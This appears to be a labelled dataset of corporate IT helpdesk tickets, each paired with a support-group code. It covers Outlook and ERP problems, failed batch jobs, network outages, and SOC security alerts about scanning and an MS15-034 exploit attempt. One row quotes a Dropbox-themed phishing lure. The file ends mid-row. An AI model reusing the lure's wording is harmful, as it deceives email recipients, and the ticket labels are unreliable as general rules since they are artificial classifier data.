web tier (epmsystem2) - service monitor(down),GRP_12 +"outlook problems. outlook doesn't start. name:uprmwlgb kirvecja +language: +browser:microsoft internet explorer +email:uprmwlgb.kirvecja@gmail.com +customer number: +telephone: +summary:outlook problems. outlook doesn't start.",GRP_0 +"outlook not opening in laptop _x000D_ +_x000D_ +received from: vrjwyqtf.qoxkapfw@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +my outlook is not opening in my laptop. can you look into this urgently abd help???_x000D_ +_x000D_ +",GRP_0 +"job Job_1314 failed in job_scheduler at: 08/20/2016 09:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1314 failed in job_scheduler at: 08/20/2016 09:30:00",GRP_9 +"security incidents - (#in33655554) : errata security scanning activity ========================= +incident overview +========================= +we are seeing your att-singapore-asa.company.com-1/54.96.80.216 device generating denied icmp trafficdenied icmp type=3, code=3 alerts alerts for traffic from port [no entry]/icmp of 209.126.230.71 to port [no entry]/icmp of your / device. these alerts are indicative of possible vulnerability scanning activity sourcing from the errata ip address 209.126.230.71. + +errata has a page where you can request to be excluded from their scanning: + + +we are escalating this incident to you via a medium priority ticket and no phone call per our default handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . + +1) full escalation for errata vulnerability scanning activity (explicit notification via a high priority ticket and phone call) +2) automatically resolve errata vulnerability scanning activity to the portal (no explicit notification but events will be available for reporting purposes in the portal) + +sincerely, +secureworks soc + + +========================= +technical details +========================= +vulnerabilities that may exist across your systems and applications can create a path for cyber attackers to gain access to and exploit your environment. these scans are used to identify and quantify specific security vulnerabilities in your environment, based on a database of known flaws. if sourcing from an unauthorized host, knowledge of your vulnerabilities could later be exploited to potentially interfere with service availability, execute code, or usa an attacker with unauthorized access. + + +========================= +references +========================= + + + +========================= +event data +========================= +related events: +event id: 91097767 +event summary: denied icmp trafficdenied icmp type=3, code=3 +occurrence count: 4 +event count: 1 + +host and connection information +source ip: 209.126.230.71 +source hostname: internetsurvey-2.erratasec.com. +source ip geolocation: atlanta, usa +connection directionality: incoming +protocol: icmp + +device information +device ip: 54.96.80.216 +device name: att-singapore-asa.company.com-1 +log time: 2016-08-20 at 03:49:03 utc +action: blocked +cvss score: -1 + +scwx event processing information +sherlock rule id (sle): 756571 +inspector event id: 870599696 +ontology id: 200020003203009212 +event type id: 200020003203009112 +agent id: 103955 + +event detail: +aug 20 03:49:03 54.96.80.216 %asa-3-313001: denied icmp type=3, code=3 from 209.126.230.71 on interface outside",GRP_2 +"job Job_1392 failed in job_scheduler at: 08/20/2016 06:27:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1392 failed in job_scheduler at: 08/20/2016 06:27:00",GRP_9 +"job Job_1995 failed in job_scheduler at: 08/20/2016 04:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1995 failed in job_scheduler at: 08/20/2016 04:02:00",GRP_6 +"job Job_2042 failed in job_scheduler at: 08/20/2016 04:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2042 failed in job_scheduler at: 08/20/2016 04:02:00",GRP_6 +"lean tracker error - repeated _x000D_ +_x000D_ +received from: rjanhbde.owfkyjcp@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +pl. refer the below screen shot of error._x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image003.jpg@01d1fad1.bfbfc520]_x000D_ +_x000D_ +_x000D_ +warm ",GRP_0 +"owa installation in mobile device hi, i'm using personal android mobile phone and would like to use owa outlook on it but access denied/rejected. any one can help?",GRP_0 +abend batch job : Job_1315 abend batch job : Job_1315 ,GRP_9 +"job bwhrertran failed in job_scheduler at: 08/20/2016 00:38:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwhrertran failed in job_scheduler at: 08/20/2016 00:38:00",GRP_9 +interface: fastethernet0/27 · vlan 51: lhqwx402189sf on company-na-usa-usa-switch-cl04-3-2960-access-sw03.company.com is do interface: fastethernet0/27 · vlan 51: lhqwx402189sf on company-na-usa-usa-switch-cl04-3-2960-access-sw03.company.com is down,GRP_4 +extended monitor in the cube 3k-20(nvyjtmca xjhpznds) is not working. extended monitor in the cube 3k-20(nvyjtmca xjhpznds) is not working.,GRP_19 +job Job_3186 failed in job_scheduler at: 08/19/2016 20:00:50 edt job Job_3186 failed in job_scheduler at: 08/19/2016 20:00:50 edt ,GRP_10 +ebhsm004: volume: e:\ label:dat1-ebhsm004 dc16126c on server: ebhsm004 is over 85% space consumed ebhsm004: volume: e:\ label:dat1-ebhsm004 dc16126c on server: ebhsm004 is over 85% space consumed. space available: 4.6 g,GRP_12 +"monitoring_tool alerts & activity page was not working in between 8:15 pm to 8:27 pm et on 08/19 et monitoring_tool alerts & activity page was not working in between 8:15 pm to 8:27 pm et on 08/19 et. we logged off and logged in to monitoring_tool but the issues was still there.it was just showing as ""loading"" but nothing was displaying.when we click on my dashbankrd home button no issues it was working fine. only the issue observed with alerts & activity page.",GRP_60 +"job Job_460 failed in job_scheduler at: 08/19/2016 18:23:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_460 failed in job_scheduler at: 08/19/2016 18:23:00",GRP_5 +unable to login to company engineering_tool unable to login to company engineering_tool ,GRP_0 +ms crm app on desktop ms crm app on desktop,GRP_0 +"erp limited _x000D_ +_x000D_ +received from: liedzaft.lvnbzktj@gmail.com_x000D_ +_x000D_ +when i attempt to view sales data on erp the rows will not go beyond 65536. it was limited to that number with some filters still on. when i removed the filters to show more information it was still limited to 65536 rows. is there a fix to this?_x000D_ +_x000D_ +",GRP_9 +"problem with configurator + +received from: vkzwafuh.tcjnuswg@gmail.com + +hi, +when i try to open the configurator from company center or engineering_tool i get this error. please advise. + +[cid:image001.jpg@01d1fa31.0491caa0] + +vkzwafuh tcjnuswg - cmp +sr. application eng. +vkzwafuh.tcjnuswg@gmail.com + + + +",GRP_12 +china(apac): interface: gigabitethernet0/33 · mp-118 on company-ap-chn-china-2960g-access-sw05.company.com is down china(apac): interface: gigabitethernet0/33 · mp-118 on company-ap-chn-china-2960g-access-sw05.company.com is down since 02:13pm et on 08/19.,GRP_4 +collaboration_platform query collaboration_platform query ,GRP_0 +access to engineering_tool access to engineering_tool,GRP_0 +"job Job_1953d was running longer than 30 minutes kirtyled and rerun received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1953d failed in job_scheduler at: 08/19/2016 15:46:00",GRP_6 +47.95.91.3482 - unable to login unable to login to the switch 47.95.91.3482 - company-eu-deu-germany-vhsw02-2900-access-sw02 as the it is experiencing with the memory issue. ,GRP_4 +call from external user call from external user,GRP_0 +"spam + +received from: qfcxbpht.oiykfzlr@gmail.com + +bokrgadu euobrlcn, + +i think this is spam … fyi. + + hghtyther + +from: drop 'box [mailto:pollauridamary1@live.com] +sent: friday, august 19, 2016 11:34 am +to: qfcxbpht oiykfzlr +subject: you have new pdf document (2) --shared via drop'box + + + +[image removed by sender.] + + + +dear qfcxbpht.oiykfzlr@gmail.com + + a dropbox user sent you some new document through dropbox. + view! here< + + +",GRP_27 +"it issue _x000D_ +_x000D_ +received from: zwirhcol.narzlmfw@gmail.com_x000D_ +_x000D_ +hi we have a computer on the shop floor that will not boot up. the power button has an orange flashing light. the only thing i can tell you about the computer is the user name:cobrgtool_x000D_ +_x000D_ +_x000D_ +",GRP_3 +want to check the email if it is spam want to check the email if it is spam ,GRP_0 +"an intern has moved from the markhtyeting group to company. name:callie pollaurid +language: +browser:microsoft internet explorer +email:xzupryaf.vlbikhsm@gmail.com +customer number: +telephone:724 +summary:quick question: an intern has moved from the markhtyeting group to company. who owns her computer and can she take it with her in her new position?",GRP_0 +"re: ticket_no1530897 -- comments added + +received from: afkstcev.utbnkyop@gmail.com + +i apologize – when i updated the paramdntyeters earlier i failed to look if the right roles were added to the users – they weren't. + +i have now updated the 3 users to mktgen roles: + +bc:alluser_crm +bc:basis_view +it:tcode_crm_ui +z:erp_crm_uiu_analtyicspro_ui +z:erp_crm_uiu_framdntyework +z:erp_crm_uiu_mkt_gen +z:erp_crm_uiu_sls_all +z:erp_crm_uiu_srv_gen + + +afkstcev utbnkyop +senior analyst, bokrgadu euobrlcn +afkstcev.utbnkyop@gmail.com + + +from: kathght shfhyw +sent: friday, august 19, 2016 2:21 pm +to: aoyrspjv hctgfeal +cc: company@ticketing_tool.com; eqxyvfpi gbaljypo ; riqmdnzs mtlghwex ; gergryth mgndhtillen ; kxvwsatr nmywsqrg +subject: re: ticket_no1530897 -- comments added + +send updated screenshot please. if you are logging in from out of the office, please be sure that you are logged into vpn, then try accessing. + +afkstcev utbnkyop +senior analyst, bokrgadu euobrlcn +afkstcev.utbnkyop@gmail.com + +from: aoyrspjv hctgfeal +sent: friday, august 19, 2016 2:18 pm +to: kathght shfhyw > +cc: company@ticketing_tool.com; eqxyvfpi gbaljypo >; riqmdnzs mtlghwex >; gergryth mgndhtillen >; aoyrspjv hctgfeal >; kxvwsatr nmywsqrg > +subject: fw: ticket_no1530897 -- comments added + +hi khrtyujuine, + +would you please help with this problem? + +",GRP_0 +"re: ticket_no1530897 -- comments added + +received from: afkstcev.utbnkyop@gmail.com + +send updated screenshot please. if you are logging in from out of the office, please be sure that you are logged into vpn, then try accessing. + +afkstcev utbnkyop +senior analyst, bokrgadu euobrlcn +afkstcev.utbnkyop@gmail.com + + +from: aoyrspjv hctgfeal +sent: friday, august 19, 2016 2:18 pm +to: kathght shfhyw +cc: company@ticketing_tool.com; eqxyvfpi gbaljypo ; riqmdnzs mtlghwex ; gergryth mgndhtillen ; aoyrspjv hctgfeal ; kxvwsatr nmywsqrg +subject: fw: ticket_no1530897 -- comments added + +hi khrtyujuine, + +would you please help with this problem? + +",GRP_0 +ticket update on this ticket_no0428491 ticket update on this ticket_no0428491,GRP_0 +"request for access to crm system _x000D_ +_x000D_ +received from: ntuhoafg.bzwefjvk@gmail.com_x000D_ +_x000D_ +it team,_x000D_ +_x000D_ +please help to enable access to crm system._x000D_ +_x000D_ +",GRP_22 +"distributor_tool entry _x000D_ +_x000D_ +received from: brhlcpqv.sfozwkyx@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +could you help me on entering distributor_tool company with my erp account?_x000D_ +_x000D_ +get outlook for ios<_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +password reset password reset,GRP_0 +"issue when updating vv32 _x000D_ +_x000D_ +received from: rhwsmefo.tvphyura@gmail.com_x000D_ +_x000D_ +hello. we are experiencing an issue when updating the following fields in vv32 ; partner and lang. we have to update this field multiple times before it works in erp. this is causing problems with customers receiving inwarehouse_tools so please markhty as high priority. i had to update the record below at least 5 times before the partner and lang saved. ",GRP_13 +"vip 2 : pls usa access to russ hall to site referenced below vip 2 : pls usa access to russ hall to site referenced below_x000D_ +_x000D_ +the aero collaboration_platform can be found at:_x000D_ + _x000D_ +_x000D_ + _x000D_ +",GRP_16 +account lock out and password reset instructions account lock out and password reset instructions,GRP_0 +"company email accounts tzrekwqf homwadbs! dear support team,_x000D_ +_x000D_ +can you give me an status about my issue?_x000D_ +i must start me work on monday at the company site in fürth._x000D_ +further is my web access (office 365) not on going._x000D_ +_x000D_ +best ",GRP_0 +"can't open outlook can't open outlook, same problem twice this week already ",GRP_0 +collaboration_platform on phone does not sync collaboration_platform on phone does not sync,GRP_0 +update to office update to office,GRP_0 +spam email queries spam email queries,GRP_0 +"job Job_1967c failed in job_scheduler at: 08/19/2016 11:21:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1967c failed in job_scheduler at: 08/19/2016 11:21:00",GRP_6 +"'51551 vid67965 microsoft windows httpsys rce vulnerability exploit attempt (ms15-034 cve-2015-1635) dsw in33568767 + +incident overview +========================= +we are seeing '51551 vid67965 microsoft windows httpsys rce vulnerability exploit attempt (ms15-034 cve-2015-1635) - mapp' alerts being generated by your isensplant_247.company.com/208.211.136.207 device indicating that one or more hosts, including 198.8.80.219, are attempting to exploit the microsoft windows http.sys remote code execution vulnerability (cve-2015-1635/ms15-034) on one or more of your internet-facing hosts, including 208.211.136.164/208.211.136.164,. successful exploitation of this vulnerability may result in a denial of service condition or remote code execution on vulnerable systems. + +we are escalating this incident to you via a high severity/full escalation master ticket for all unblocked events related to this vulnerability (i.e. we are creating a singular ticket for all inbound threats related to this vulnerability). this ticket will effectively serve as a master ticket for any related events until we receive feedback from you on how to handle these events going forward. + +it should be noted that blocking each source ip address may not necessarily be productive due to attackers' ability to switch ip addresses through the use of proxies, anonymizing software such as tor, and vpns. please investigate your environment to determine whether you are running a vulnerable version of the application being targeted and ensure that you are running the most recent non-vulnerable version of windows, and that your devices are patched and properly hardened against attacks. + +if you would like these events handled differently, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . we have a number of options available for the handling of future alerts such as this one: +1) autoresolve any events related to attacks against the microsoft windows http.sys kernel driver directly to the portal (no explicit notification and events will be available for reporting purposes in the portal). this is most likely the best choice if you are not running the application being targeted or if you are running a non-vulnerable version of the application +2) ticket only escalation via a medium priority ticket (no phone call) for each unique source ip address for attacks against the microsoft windows http.sys kernel driver (this may generate a relatively large volume of incident tickets) +3) full escalation via a high priority ticket and a phone call for each unique source ip address for attacks against the microsoft windows http.sys kernel driver (this may generate a relatively large volume of incident tickets)",GRP_12 +"54.96.80.216/att-singapore-asa.company.com-1 device generating at least 253 'internal outbreak for 7/udp' alerts within 10 m dsw in33572131_x000D_ +_x000D_ +incident overview_x000D_ +=========================_x000D_ +we are seeing your 54.96.80.216/att-singapore-asa.company.com-1 device generating at least 253 'internal outbreak for 7/udp' alerts within 10 minutes, for traffic (blocked) from ewll8111148/10.44.23.17 to port 7/udp of several internal hosts. this may indicate unauthorized reconnaissance scanning, a misconfiguration, or authorized internal discovery being blocked by the firewall._x000D_ +_x000D_ +we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . _x000D_ +_x000D_ +1) ticket only escalation for internal reconnaissance alerts (explicit notification via a medium priority ticket (no phone call))_x000D_ +2) automatically resolve internal reconnaissance alerts to the portal (no explicit notification but events will be available for reporting purposes in the portal)",GRP_33 +"18.79.63.203/company-internal-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' aler dsw in33574596_x000D_ +_x000D_ +we are seeing your 18.79.63.203/company-internal-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from apul8812210/10.24.12.213 to port 135/tcp (remote procedure call (rpc)) of external host 211.136.113.1. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code._x000D_ +_x000D_ +we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . _x000D_ +_x000D_ +1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)_x000D_ +2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)_x000D_ +_x000D_ +sincerely,_x000D_ +secureworks soc",GRP_31 +"18.79.63.203/company-internal-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' aler dsw in33401594_x000D_ +_x000D_ +incident overview_x000D_ +=========================_x000D_ +we are seeing your 18.79.63.203/company-internal-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from rqvl8516442/10.24.15.172 to port 135/tcp (remote procedure call (rpc)) of external host 198.105.254.63. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code._x000D_ +_x000D_ +we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . _x000D_ +_x000D_ +1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)_x000D_ +2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)",GRP_3 +"114 occurrences of your firewall company-european-asa.company.com-1/80.71.06.702 dropping traffic sourcing from HostName_25/10.16.16. dsw in32075851_x000D_ +_x000D_ +=========================_x000D_ +incident overview_x000D_ +=========================_x000D_ +we have detected at least 114 occurrences of your firewall company-european-asa.company.com-1/80.71.06.702 dropping traffic sourcing from HostName_25/15.69.85.2812 and destined to port 445 of one or more destination devices. this activity may indicate one of the following:_x000D_ + 1. an infection on this host_x000D_ + 2. a misconfigured firewall_x000D_ + 3. a misconfigured host_x000D_ + 4. port scan (authorized or unauthorized)_x000D_ +_x000D_ +we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . _x000D_ +_x000D_ +1) ticket only escalation for these alerts where the traffic was blocked (explicit notification via a medium priority ticket (no phone call))_x000D_ +2) automatically resolve these alerts where the traffic was blocked to the portal (no explicit notification but events will be available for reporting purposes in the portal)",GRP_12 +"unable to load hr_tool etime application +recently got a new computer and ever since have not been able to load the hr_tool etime application.",GRP_0 +"[hw] filesystem near capacity - h:(HostName_894) dsw in33644259_x000D_ +_x000D_ +related events: _x000D_ +event id: 307315976_x000D_ +event summary: [hw] filesystem near capacity - h:_x000D_ +occurrence count: 1_x000D_ +event count: 1_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 18.38.85.961_x000D_ +source hostname: HostName_894_x000D_ +connection directionality: internal_x000D_ +_x000D_ +device information_x000D_ +device ip: 18.38.85.961_x000D_ +device name: HostName_894.company.company.com_x000D_ +log time: 2016-08-18 at 18:03:40 utc_x000D_ +vendor classification: none_x000D_ +vendor priority: 1_x000D_ +windows event id: 2013_x000D_ +type: warning_x000D_ +username: n/a_x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 566425_x000D_ +inspector rule id: 2132464_x000D_ +inspector event id: 030920674_x000D_ +agent id: 110620_x000D_ +_x000D_ +event detail:_x000D_ +note: by default, this alert is generated when capacity reaches 90%. (_x000D_ +aug 18 18:03:40 18.38.85.961 mswineventlog 1 system 2566671 thu aug 18 18:03:40 2016 2013 srv n/a n/a warning HostName_894.company.company.com none the h: disk is at or near capacity. you may need to delete some files. 3776",GRP_39 +"login failure _x000D_ +_x000D_ +received from: jashyht.usa@company.com_x000D_ +_x000D_ +good afternoon,_x000D_ +i am unable to open my drive? here is a screen shot of the error: i am unaware of any password as i am able to open up all other drives. i assume it has something to do with an email i received late yesterday (see 2nd screen shot below) which i was unable to login to (see third screen shot):_x000D_ +please advise or correct._x000D_ +[cid:image002.jpg@01d1fa07.159311d0]_x000D_ +_x000D_ +[cid:image006.jpg@01d1fa07.159311d0]_x000D_ +_x000D_ +_x000D_ +[cid:image007.jpg@01d1fa07.159311d0]_x000D_ +_x000D_ +_x000D_ +",GRP_0 +connected the default printer connected the default printer,GRP_0 +"job Job_1315 failed in job_scheduler at: 08/19/2016 10:35:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1315 failed in job_scheduler at: 08/19/2016 10:35:00",GRP_9 +"new prospect accounts within the crm system +the issue is... +i have created some new prospect accounts within the crm system +after 2-3days it still hasn't allocated them a erp ~ + +contact # : +",GRP_40 +call came and got disconnected call came and got disconnected,GRP_0 +blue screen error. blue screen error.,GRP_0 +outlook not responding due to crm error outlook not responding due to crm error,GRP_0 +"account information updated from: nwfodmhc exurcwkm +sent: friday, august 19, 2016 6:16 pm +to: johthryu ko; nwfodmhc exurcwkm +subject: re: sab : fw: account information updated + +hello johthryu, + +this is a mail from company. you can click on the link to access it. + + +aorthyme rnsuipbk +global service organization (gso) + + did you know? + +ticketing_tool has an extensive self-help knowledgebase with easy to use troubleshooting and how-to articles. +these have been contributed by it teams as well as by our customers, every time they open a request or an incident with it. so, go ahead and follow the rabbit (click on the image to open the knowledgebase) to explore how you can help yourself with your it issue! +we appreciate your feedback, please leave a comment on the article you visit or write to the gso. + +global service organization: +| | help@company.com + + + +-----original message----- +from: johthryu ko +sent: friday, august 19, 2016 2:25 pm +to: nwfodmhc exurcwkm +subject: sab : fw: account information updated + +hi it experts, + +pla see below. not sure what it is and therefore not using it. + +best ",GRP_0 +user locked out of erp SID_34 erp user locked out of erp SID_34 erp,GRP_0 +spam or not ? your user account has been updated in ancile uperform. you can log on here: ,GRP_0 +erp SID_34 account lockout erp SID_34 account lockout,GRP_0 +new user id new user id,GRP_0 +erp SID_34 account locked. erp SID_34 account locked.,GRP_0 +"mobile device activation from: shhkioaprhkuoash ms _x000D_ +sent: friday, august 19, 2016 5:07 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: amar : fw: your mobile device is temporarily blocked from synchronizing using exchange activesync until your administrator usas it access._x000D_ +importance: high_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +request you to configure outlook to my new iphone i received today._x000D_ +_x000D_ +with ",GRP_0 +e4 license activated. office has to be upgraded to 2016 e4 license activated. office has to be upgraded to 2016,GRP_0 +"audio not working + +contact number . pc service tag h52gv32 + +summary:i'm not hearing sound from my 2:1 laptop when planning a video. i use a bluetooth earbud.",GRP_0 +query regarding leaves query regarding leaves,GRP_0 +unable to scroll down ie pages unable to scroll down ie pages,GRP_0 +"job pp_EU_tool_netch_ap1 failed in job_scheduler at: 08/19/2016 09:23:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap1 failed in job_scheduler at: 08/19/2016 09:23:00",GRP_8 +"engineering tool does not open. engineering tool does not open._x000D_ +error log attached.",GRP_46 +outlook not responding outlook not responding ,GRP_0 +ticket update inplant_851643 ticket update inplant_851643,GRP_0 +"when opening business_client, getting the ""microsoft.net framdntyework 4.5 not installed"" error. see attachment",GRP_0 +skype does not open. skype does not open.,GRP_0 +telephony_software phone system since the new telephony_software update i am now missing the icon on my desktop. can i have it put back on?,GRP_0 +reset passwords for patrcja szpilewska using password_management_tool password reset. the,GRP_17 +company-ap-chn-apac-2960-access-sw01 at apac - (m&c) - new plant location are down sicne 8:27 am et on 08/19/16 company-ap-chn-apac-2960-access-sw01 at apac - (m&c) - new plant location are down sicne 8:27 am et on 08/19/16,GRP_8 +telephony_software didn't full update. an't find the log in. need telephony_software to log into phone system to take calls,GRP_3 +new password does not work after password change. new password does not work after password change.,GRP_0 +ticket update on inplant_852167 ticket update on inplant_852167,GRP_0 +"ticket update _x000D_ +_x000D_ +received from: qcxivzag.vyucbagx@gmail.com_x000D_ +_x000D_ +i am checking up on the status of completion for it ticket #inc1541133 - please provide an update and expected completion date?_x000D_ +_x000D_ +_x000D_ +",GRP_0 +password reset request. password reset request.,GRP_0 +khspqlnj npgxuzeq called for engineering tool issue khspqlnj npgxuzeq called for engineering tool issue,GRP_0 +email spam query email spam query,GRP_0 +in erp's md04 for 6999065 it show a delivery note 9168075863. calling from plant plant_35. in erp's md04 for 6999065 it show a delivery note 9168075863. i deleted this yesterday and vl02n confirms the deletion. yet the delivery note still shows open in md04 with 76 pieces. will you please remove so the 76 pieces are return to stock.,GRP_6 +password reset alert from o365 password reset alert from o365,GRP_0 +power surge on hub port prompts i am getting frequent notification of power surge on hub port as attached screenshot in my laptop. kindly check and let me know any action needed to be done to resolve this.,GRP_0 +mobile device activation ; company provided mobile device activation ; company provided,GRP_0 +"erp log-in update needed urgently please! _x000D_ +_x000D_ +received from: oslzvpgk.nhwsxgpb@gmail.com_x000D_ +_x000D_ +good day,_x000D_ +_x000D_ +please can you do a erp log-in update, so that i can get access to the erp quality management system (SID_1)_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"emails not routing from outlook into telephony_software i am entering this ticket to confirm that emails are not routing in from telephony_software for the cas team in north amerirtca._x000D_ +there are already two tickets open for other regions with the same issue._x000D_ +incident inc1543124_x000D_ +incident inc1543192_x000D_ +_x000D_ +there is also a ticket with i3 open so they investigate from their side. i3 ticked – 846243",GRP_7 +support für osterwalder \niptbwdq csenjruz support für osterwalder \niptbwdq csenjruz,GRP_24 +ess login issue : password issue. ess login issue : password issue.,GRP_0 +"unlock account email in cell phone the users fernando fillipini, zspvxrfk xocyhnkf and fabio rghkiriuytes hello team,_x000D_ +_x000D_ +could you please unlock account email in cell phone the users:_x000D_ +_x000D_ +owdrqmit.nhdzcuji@gmail.com_x000D_ +zspvxrfk.xocyhnkf@gmail.com_x000D_ +gtdxpofz.xnksbrwl@gmail.com_x000D_ +_x000D_ +",GRP_0 +"ref#prb1151148 - cannot connect to dynamic excel from msd crm _x000D_ +_x000D_ +received from: vndwmyiz.cjwqtzai@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +please run the below commands (with administrator privilege) on the computer of the users impacted and whom its working well and send me the results for further analysis._x000D_ +_x000D_ +gpresult /v >log.txt_x000D_ +gpresult /h loghtml.html /f_x000D_ +_x000D_ +best ",GRP_0 +vpn is not connecting. vpn is not connecting.,GRP_0 +"switch ""company-eu-deu-germany-e-b16-gf-3550-access-sw03"" at germany is down since 3:12am et 08/16. switch ""company-eu-deu-germany-e-b16-gf-3550-access-sw03"" at germany is down since 3:12am et 08/16.",GRP_8 +"email _x000D_ +_x000D_ +received from: qdbmspxf.nqdyiclk@gmail.com_x000D_ +_x000D_ +is this a legitimate email?_x000D_ +i did not want to click on it without knowing._x000D_ +",GRP_0 +outlook email update issue outlook email update issue,GRP_0 +spam email query spam email query,GRP_0 +userid cccplant_119 cannot reset password. please look at the screenshot. userid cccplant_119 cannot reset password. please look at the screenshot.,GRP_21 +"hub, business_client, not working suddenly _x000D_ +_x000D_ +received from: cowsvzel.ryhkefwv@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +please find the attached screen shot, suddenly the hub, business_client is going blank, when i close all the tab and restarts, it works again_x000D_ +_x000D_ +could you please fix this ._x000D_ +_x000D_ +[cid:image001.png@01d1fa2e.56137811]_x000D_ +_x000D_ +",GRP_0 +outlook issue. : cannot open the item. text formatheywting command is not available,GRP_0 +collaboration_platform not synching . collaboration_platform not synching .,GRP_0 +"erp access issue system SID_34_x000D_ +_x000D_ +production employee pevokgiu hdywstbl idrizj from switzerland, switzerland, needs a password reset_x000D_ +_x000D_ +many ",GRP_2 +probleme mit erpgui \tmqfjard qzhgdoua probleme mit erpgui \tmqfjard qzhgdoua,GRP_24 +alte it equipment abholen . \qvncizuf ueiybanz alte it equipment abholen . \qvncizuf ueiybanz,GRP_24 +monitor defekt \ewew8323542 \pvd1 \bur am orde monitor defekt \ewew8323542 \pvd1 \bur am orde,GRP_24 +please have a look at po. the terms and conditions page should only be printing as the last page to the order. not after please have a look at po. the terms and conditions page should only be printing as the last page to the order. not after each page.,GRP_29 +"HostName_973 : : wrong number of instances of process wrapper.exe, expected instances gte 3 but found 0 HostName_973 : : wrong number of instances of process wrapper.exe, expected instances gte 3 but found 0",GRP_8 +"emails from common mailbox k-uk.moe@company.com do not appear in telephony_software workflow although there are emails in outlook mailbox, they do not appear in telephony_software.",GRP_7 +received new laptop. need outlook configuration help. received new laptop. need outlook configuration help.,GRP_0 +"reimbursement amount: usd 293,34 i need to approve a travel expense...the following expense report has been submitted for your approval: + +personnel no.: 11131936 (mahtyurch t kutgynka) +expense report no.: 2711125442 +start date: 21.06.2016 00:01:00 +end date: 18.07.2016 00:01:00 +total costs: usd 293,34 +reimbursement amount: usd 293,34 + +to review this expense report in full, please log into your universal worklist on manager self-service. + but have no rights to view. please help.",GRP_0 +"job Job_3053 failed in job_scheduler at: 08/19/2016 03:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3053 failed in job_scheduler at: 08/19/2016 03:11:00",GRP_8 +"job Job_1388 failed in job_scheduler at: 08/19/2016 02:44:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1388 failed in job_scheduler at: 08/19/2016 02:44:00",GRP_9 +"need access to HostName_768 imts2012 folder _x000D_ +_x000D_ +received from: ybhazlqp.zfghsxiw@gmail.com_x000D_ +_x000D_ +hello it team,_x000D_ +_x000D_ +please usa me access to imts2012 folder on server HostName_768._x000D_ +_x000D_ +",GRP_34 +tel. 416 prüfen tel. 416 prüfen,GRP_33 +"picking request cannot print hi it-team_x000D_ +_x000D_ +_x000D_ +we have problem picking request print in plant_203._x000D_ +below sale order (red so#) cannot print picking request from 17th aug._x000D_ +other so# have same problem._x000D_ +_x000D_ +csr person print picking request print manual operate._x000D_ +not automatic print it._x000D_ +_x000D_ +please help us aerp_x000D_ +_x000D_ +_x000D_ +best ",GRP_18 +"please change to the japanese. hi,_x000D_ +_x000D_ +it is a screen of the sales order._x000D_ +please change to the japanese._x000D_ +there is also when the ship-to is displayed in japanese._x000D_ +domestic customers want to display in japanese._x000D_ +_x000D_ +best ",GRP_13 +"account information updated hi,_x000D_ +_x000D_ +one more spam mail. please check._x000D_ +_x000D_ +",GRP_0 +"disable mail functionality of payment advice +from: gnasmtvx cwxtsvkm +sent: friday, august 19, 2016 10:40 am +to: pradyhtueep yyufs; nathyresh gayhtjula; lakhsynrhty p +cc: raghyvhdra najuty +subject: re: automatic payment through bank + +ksp/ng, + +we request you to please disable the mail functionality of payment advice for the time being until we find the solutions for both printing & mail functionality. + +",GRP_10 +"msd crm-6500072137 i can not change the qty in crm syatem, would you help me change the qty as below_x000D_ +4977815 7pcs_x000D_ +4977812 5pcs ",GRP_15 +"nigktly erp download for germany, 